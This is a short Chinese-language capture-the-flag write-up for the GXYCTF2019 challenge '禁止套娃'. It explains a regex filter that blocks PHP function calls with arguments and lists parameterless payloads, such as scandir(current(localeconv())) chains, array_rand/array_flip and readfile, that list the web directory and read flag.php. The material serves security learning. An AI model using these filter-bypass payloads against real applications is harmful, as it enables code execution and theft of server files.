[GXYCTF2019]禁止套娃
git泄露获取源码
使用GET传参,参数为exp
经过三层过滤执行
第一层过滤伪协议,第二层过滤带参数的函数,第三层过滤一些函数
preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']
(?R)引用当前正则表达式,相当于匹配函数里的参数
因此传递的函数不能带有参数
首先查看当前目录里的文件:
print_r(scandir(current(localeconv())));
print_r(scandir(pos(localeconv())));
scandir — 列出指定路径中的文件和目录
current — 返回数组中的当前单元
pos — current() 的别名
localeconv--获取数字格式信息,它返回一个数组,第一个值为'.'
而current返回数组的当前单元,所以:
print_r(scandir(current(localeconv()))) = print_r(scandir('.'));
这样就显示了目录下的文件,下面需要获取flag文件
- array_reverse()函数
以相反的元素顺序返回数组:array_reverse()函数将原数组中的元素顺序翻转,创建新的数组并返回
payload:
print_r(array_reverse(scandir(current(localeconv()))));
- array_rand(array_flip())
array_flip — 交换数组中的键和值
array_rand — 从数组中随机取出一个或多个单元
这样会随机返回文件名,多刷新几次就可以获取falg文件
payload:
print_r(array_rand(array_flip(scandir(current(localeconv())))));
- session_id(session_start())
既然获取了flag.php文件现在就是要读取它
可以使用readfile()、highlight_file()及别名函数show_source()
payload:
print_r(readfile(next(array_reverse(scandir(current(localeconv()))))));
next — 将数组中的内部指针向前移动一位
payload:
print_r(readfile(array_rand(array_flip(scandir(current(localeconv()))))));
payload:
readfile(session_id(session_start()));
参考: https://www.cnblogs.com/wangtanzhi/p/12260986.html